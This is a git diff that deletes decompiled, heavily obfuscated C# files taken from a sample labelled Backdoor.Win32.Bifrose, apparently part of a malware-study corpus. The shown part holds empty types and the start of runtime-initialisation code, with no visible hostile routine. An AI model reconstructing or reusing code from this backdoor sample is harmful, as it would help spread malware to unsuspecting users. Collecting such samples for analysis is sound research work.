@@ -1,18 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: ¼.
-// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
-// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
-
-using Microsoft.VisualC;
-using System.Runtime.CompilerServices;
-
-namespace \u0082\u00BC
-{
- [DebugInfoInPDB]
- [MiscellaneousBits(64)]
- [NativeCppClass]
- internal enum \u0082\u008A
- {
- }
-}
diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082_008E.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082_008E.cs
deleted file mode 100644
index aadcd60e..00000000
--- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082_008E.cs
+++ /dev/null
@@ -1,20 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: ¼.
-// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
-// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
-
-using Microsoft.VisualC;
-using System.Runtime.CompilerServices;
-using System.Runtime.InteropServices;
-
-namespace \u0082\u00BC
-{
- [MiscellaneousBits(64)]
- [NativeCppClass]
- [DebugInfoInPDB]
- [StructLayout(LayoutKind.Sequential, Size = 16)]
- internal struct \u0082\u008E
- {
- }
-}
diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082_0094.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082_0094.cs
deleted file mode 100644
index 1bff1386..00000000
--- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082_0094.cs
+++ /dev/null
@@ -1,18 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: ¼.
-// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
-// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
-
-using Microsoft.VisualC;
-using System.Runtime.CompilerServices;
-
-namespace \u0082\u00BC
-{
- [DebugInfoInPDB]
- [MiscellaneousBits(64)]
- [NativeCppClass]
- internal enum \u0082\u0094
- {
- }
-}
diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082_0095.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082_0095.cs
deleted file mode 100644
index 7de406bb..00000000
--- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082_0095.cs
+++ /dev/null
@@ -1,18 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: ¼.
-// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
-// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
-
-using Microsoft.VisualC;
-using System.Runtime.CompilerServices;
-
-namespace \u0082\u00BC
-{
- [NativeCppClass]
- [MiscellaneousBits(64)]
- [DebugInfoInPDB]
- internal enum \u0082\u0095
- {
- }
-}
diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082_009A.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082_009A.cs
deleted file mode 100644
index 1b7d1cd6..00000000
--- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082_009A.cs
+++ /dev/null
@@ -1,21 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: ¼.
-// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
-// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
-
-using Microsoft.VisualC;
-using System.Runtime.CompilerServices;
-using System.Runtime.InteropServices;
-
-namespace \u0082\u00BC
-{
- [MiscellaneousBits(65)]
- [NativeCppClass]
- [DebugInfoInPDB]
- [UnsafeValueType]
- [StructLayout(LayoutKind.Sequential, Size = 64)]
- internal struct \u0082\u009A
- {
- }
-}
diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082¢.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082¢.cs
deleted file mode 100644
index 603fa333..00000000
--- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082¢.cs
+++ /dev/null
@@ -1,18 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: ¼.¢
-// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
-// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
-
-using Microsoft.VisualC;
-using System.Runtime.CompilerServices;
-
-namespace \u0082\u00BC
-{
- [NativeCppClass]
- [MiscellaneousBits(64)]
- [DebugInfoInPDB]
- internal enum \u0082\u00A2
- {
- }
-}
diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082¥.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082¥.cs
deleted file mode 100644
index 723a02a7..00000000
--- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082¥.cs
+++ /dev/null
@@ -1,20 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: ¼.¥
-// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
-// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
-
-using Microsoft.VisualC;
-using System.Runtime.CompilerServices;
-using System.Runtime.InteropServices;
-
-namespace \u0082\u00BC
-{
- [NativeCppClass]
- [DebugInfoInPDB]
- [MiscellaneousBits(65)]
- [StructLayout(LayoutKind.Sequential, Size = 224)]
- internal struct \u0082\u00A5
- {
- }
-}
diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082¦.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082¦.cs
deleted file mode 100644
index e987efda..00000000
--- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082¦.cs
+++ /dev/null
@@ -1,18 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: ¼.¦
-// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
-// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
-
-using Microsoft.VisualC;
-using System.Runtime.CompilerServices;
-
-namespace \u0082\u00BC
-{
- [MiscellaneousBits(64)]
- [NativeCppClass]
- [DebugInfoInPDB]
- internal enum \u0082\u00A6
- {
- }
-}
diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082§.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082§.cs
deleted file mode 100644
index 4031af59..00000000
--- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082§.cs
+++ /dev/null
@@ -1,20 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: ¼.§
-// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
-// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
-
-using Microsoft.VisualC;
-using System.Runtime.CompilerServices;
-using System.Runtime.InteropServices;
-
-namespace \u0082\u00BC
-{
- [DebugInfoInPDB]
- [NativeCppClass]
- [MiscellaneousBits(65)]
- [StructLayout(LayoutKind.Sequential, Size = 248)]
- internal struct \u0082\u00A7
- {
- }
-}
diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082¨.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082¨.cs
deleted file mode 100644
index a030822c..00000000
--- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082¨.cs
+++ /dev/null
@@ -1,20 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: ¼.¨
-// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
-// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
-
-using Microsoft.VisualC;
-using System.Runtime.CompilerServices;
-using System.Runtime.InteropServices;
-
-namespace \u0082\u00BC
-{
- [MiscellaneousBits(65)]
- [DebugInfoInPDB]
- [NativeCppClass]
- [StructLayout(LayoutKind.Sequential, Size = 32)]
- internal struct \u0082\u00A8
- {
- }
-}
diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082©.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082©.cs
deleted file mode 100644
index 8de4d0ed..00000000
--- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082©.cs
+++ /dev/null
@@ -1,18 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: ¼.©
-// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
-// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
-
-using Microsoft.VisualC;
-using System.Runtime.CompilerServices;
-
-namespace \u0082\u00BC
-{
- [MiscellaneousBits(64)]
- [DebugInfoInPDB]
- [NativeCppClass]
- internal enum \u0082\u00A9
- {
- }
-}
diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082.cs
deleted file mode 100644
index 6ce5f17d..00000000
--- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082.cs
+++ /dev/null
@@ -1,18 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: ¼.
-// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
-// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
-
-using Microsoft.VisualC;
-using System.Runtime.CompilerServices;
-
-namespace \u0082\u00BC
-{
- [DebugInfoInPDB]
- [NativeCppClass]
- [MiscellaneousBits(64)]
- internal enum \u0082\u00AD
- {
- }
-}
diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082².cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082².cs
deleted file mode 100644
index 08c1e74f..00000000
--- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082².cs
+++ /dev/null
@@ -1,20 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: ¼.²
-// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
-// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
-
-using Microsoft.VisualC;
-using System.Runtime.CompilerServices;
-using System.Runtime.InteropServices;
-
-namespace \u0082\u00BC
-{
- [MiscellaneousBits(65)]
- [NativeCppClass]
- [DebugInfoInPDB]
- [StructLayout(LayoutKind.Sequential, Size = 8)]
- internal struct \u0082\u00B2
- {
- }
-}
diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082³.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082³.cs
deleted file mode 100644
index 64a9c3a1..00000000
--- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082³.cs
+++ /dev/null
@@ -1,20 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: ¼.³
-// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
-// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
-
-using Microsoft.VisualC;
-using System.Runtime.CompilerServices;
-using System.Runtime.InteropServices;
-
-namespace \u0082\u00BC
-{
- [MiscellaneousBits(65)]
- [DebugInfoInPDB]
- [NativeCppClass]
- [StructLayout(LayoutKind.Sequential, Size = 8)]
- internal struct \u0082\u00B3
- {
- }
-}
diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082¶.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082¶.cs
deleted file mode 100644
index 55a8548b..00000000
--- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082¶.cs
+++ /dev/null
@@ -1,18 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: ¼.¶
-// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
-// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
-
-using Microsoft.VisualC;
-using System.Runtime.CompilerServices;
-
-namespace \u0082\u00BC
-{
- [NativeCppClass]
- [DebugInfoInPDB]
- [MiscellaneousBits(64)]
- internal enum \u0082\u00B6
- {
- }
-}
diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082º.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082º.cs
deleted file mode 100644
index 90729970..00000000
--- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082º.cs
+++ /dev/null
@@ -1,20 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: ¼.º
-// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
-// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
-
-using Microsoft.VisualC;
-using System.Runtime.CompilerServices;
-using System.Runtime.InteropServices;
-
-namespace \u0082\u00BC
-{
- [NativeCppClass]
- [MiscellaneousBits(65)]
- [DebugInfoInPDB]
- [StructLayout(LayoutKind.Sequential, Size = 4)]
- internal struct \u0082º
- {
- }
-}
diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082».cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082».cs
deleted file mode 100644
index f925b137..00000000
--- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082».cs
+++ /dev/null
@@ -1,1424 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: ¼.»
-// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
-// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
-
-using \u0082\u00BC;
-using å;
-using õ;
-using PvLogiciels.dotNetProtector;
-using System;
-using System.Diagnostics;
-using System.Reflection;
-using System.Runtime.CompilerServices;
-using System.Runtime.ConstrainedExecution;
-using System.Runtime.InteropServices;
-using System.Security;
-using System.Threading;
-
-namespace \u0082\u00BC
-{
- internal class \u0082\u00BB
- {
- internal static \u00BF \u00BC;
- [FixedAddressValueType]
- internal static int \u00B8;
- internal static __FnPtr \u009F;
- internal static \u00BF \u0087;
- [FixedAddressValueType]
- internal static \u00AE.\u00A9 \u0081ç;
- internal static __FnPtr \u0082\u00A3;
- [FixedAddressValueType]
- internal static bool \u0082\u0080;
- internal static __FnPtr \u0081ë;
- internal static \u00BF \u0081Ë;
- [FixedAddressValueType]
- internal static \u00AE.\u00A9 \u0081Æ;
- internal static __FnPtr \u0081\u00AE;
- [FixedAddressValueType]
- internal static int \u0081\u0096;
- internal static __FnPtr \u0081\u0087;
- internal static \u00BF ð;
- [FixedAddressValueType]
- internal static \u00AE.\u00A9 ê;
- internal static __FnPtr \u0082\u00B1;
- internal static \u00BF \u00B2;
- [FixedAddressValueType]
- internal static \u00AE.\u00A9 \u00A7;
- internal static __FnPtr \u008F;
- internal static bool \u0081Ì;
- internal static bool \u0082\u009B;
- internal static bool \u0082\u0089;
- internal static int \u0081ó;
- internal static uint \u0081à;
- internal static uint \u0081Ð;
- internal static \u008E.\u00A9 \u0081Á;
- internal static uint \u0082µ;
- internal static uint \u0081\u009E;
- internal static uint \u0081\u0092;
- internal static \u008E.\u00A9 \u0081\u0082;
- internal static bool ï;
- internal static \u00BF \u00D7;
- public static unsafe int** Ð;
- public static unsafe int** \u00BD;
- internal static __FnPtr \u009E;
- [FixedAddressValueType]
- internal static uint \u0097;
- [FixedAddressValueType]
- internal static \u0082\u0098 \u0091;
- internal static __FnPtr \u0082\u00B7;
- [FixedAddressValueType]
- internal static unsafe __FnPtr* \u0082\u009F;
- internal static uint \u0082\u0097;
- internal static unsafe __FnPtr* \u0082\u008D;
- internal static unsafe __FnPtr* \u0082\u0085;
- [FixedAddressValueType]
- internal static unsafe __FnPtr* \u0081ü;
- internal static int \u0081ô;
- internal static int \u0081ñ;
- internal static int \u0081í;
- internal static int \u0081å;
- internal static int \u0081ß;
- internal static int \u0024;
- internal static int \u0081Ú;
- public static \u00A6 \u0081Ã;
- public static volatile uint æ;
- public static \u00A6 ß;
- public static \u0099 Ú;
- public static volatile \u0094 \u0081\u00B6;
- public static \u0099 \u0081\u00B1;
- public static unsafe void* \u0081\u00AD;
- public static volatile uint \u0081\u00A8;
- public static unsafe __FnPtr* \u0081\u00A2;
- public static unsafe __FnPtr* \u0081\u009F;
-
- [return: MarshalAs(UnmanagedType.U1)]
- internal static bool Ë() => \u0082\u00BB.\u0081\u00A8 != uint.MaxValue;
-
- [return: MarshalAs(UnmanagedType.U1)]
- internal static bool À() => \u0082\u00BB.\u0081\u00A8 == 1U;
-
- [return: MarshalAs(UnmanagedType.U1)]
- internal static bool \u00AF() => \u0082\u00BB.\u0081\u00A8 == 0U;
-
- [return: MarshalAs(UnmanagedType.U1)]
- internal static bool \u009B() => \u0082\u00BB.æ != uint.MaxValue;
-
- [return: MarshalAs(UnmanagedType.U1)]
- internal static bool \u0090() => (\u0082\u00BB.\u0081\u00A8 != uint.MaxValue ? 1 : 0) == 0 || (\u0082\u00BB.æ != uint.MaxValue ? 1 : 0) != 0 || \u0082\u00BB.\u0081\u00A8 != 1U && \u0082\u00BB.\u0081\u00A8 != 0U;
-
- internal static unsafe int \u0081(void* _param0)
- {
- GC.KeepAlive((object) int.MaxValue);
- return 0;
- }
-
- [return: MarshalAs(UnmanagedType.U1)]
- internal static unsafe bool \u0082ª()
- {
- if (\u0082\u00BB.\u0081\u0082 != (\u008E.\u00A9) 2)
- return \u0082\u00BB.\u0081\u0082 == (\u008E.\u00A9) -1;
- void** voidPtr = (void**) &\u0082\u00BB.\u00D7;
- if (ref \u0082\u00BB.\u00D7 < ref \u0082\u00BB.\u00BC)
- {
- while (*(int*) voidPtr == 0)
- {
- voidPtr += 4;
- if ((IntPtr) voidPtr >= ref \u0082\u00BB.\u00BC)
- goto label_5;
- }
- \u0082\u00BB.\u0081\u0082 = (\u008E.\u00A9) -1;
- return true;
- }
-label_5:
- \u0082\u00BB.\u0081\u0082 = (\u008E.\u00A9) 0;
- return false;
- }
-
- [return: MarshalAs(UnmanagedType.U1)]
- internal static unsafe bool \u0081Ó()
- {
- if (\u0082\u00BB.\u0081Á != (\u008E.\u00A9) 2)
- return \u0082\u00BB.\u0081Á == (\u008E.\u00A9) -1;
- void** voidPtr1 = (void**) &\u0082\u00BB.Ú;
- if (ref \u0082\u00BB.Ú < ref \u0082\u00BB.\u0081\u00B1)
- {
- while (*(int*) voidPtr1 == 0)
- {
- voidPtr1 += 4;
- if ((IntPtr) voidPtr1 >= ref \u0082\u00BB.\u0081\u00B1)
- goto label_5;
- }
- \u0082\u00BB.\u0081Á = (\u008E.\u00A9) -1;
- return true;
- }
-label_5:
- void** voidPtr2 = (void**) &\u0082\u00BB.ß;
- if (ref \u0082\u00BB.ß < ref \u0082\u00BB.\u0081Ã)
- {
- while (*(int*) voidPtr2 == 0)
- {
- voidPtr2 += 4;
- if ((IntPtr) voidPtr2 >= ref \u0082\u00BB.\u0081Ã)
- goto label_9;
- }
- \u0082\u00BB.\u0081Á = (\u008E.\u00A9) -1;
- return true;
- }
-label_9:
- \u0082\u00BB.\u0081Á = (\u008E.\u00A9) 0;
- return false;
- }
-
- [return: MarshalAs(UnmanagedType.U1)]
- internal static bool \u0082\u008C() => \u0082\u00BB.\u0082ª() && !\u0082\u00BB.\u0081Ì || \u0082\u00BB.\u0081Ó() && !\u0082\u00BB.\u0082\u0089 && \u0082\u00BB.\u0081\u00B6 == (\u0094) 0;
-
- [return: MarshalAs(UnmanagedType.U1)]
- internal static bool \u0081\u00F7() => \u0082\u00BB.\u0082\u009B;
-
- internal static unsafe void \u0081á() => \u0082\u00BB.ö((__FnPtr) (IntPtr) \u0082\u00BB.Ð, (void*) 0);
-
- internal static void \u0081Ò() => \u0082\u00BB.\u0081\u0096 = 0;
-
- internal static void \u0081\u00BB() => \u0082\u00BB.\u00B8 = 0;
-
- internal static void \u0081\u00A3() => \u0082\u00BB.\u0082\u0080 = false;
-
- internal static void \u0081\u008E() => \u0082\u00BB.ê = (\u00AE.\u00A9) 0;
-
- internal static void \u00A2() => \u0082\u00BB.\u0081Æ = (\u00AE.\u00A9) 0;
-
- internal static void \u00A5() => \u0082\u00BB.\u00A7 = (\u00AE.\u00A9) 0;
-
- internal static void \u00AC() => \u0082\u00BB.\u0081ç = (\u00AE.\u00A9) 0;
-
- [DebuggerStepThrough]
- internal static unsafe void \u008C([In] Ñ* obj0)
- {
- \u0082\u00BB.\u00A3((Ê*) obj0, "The C++ module failed to load during vtable initialization.\n");
- \u0082\u00BB.ê = (\u00AE.\u00A9) 1;
- \u0082\u00BB.\u0085((__FnPtr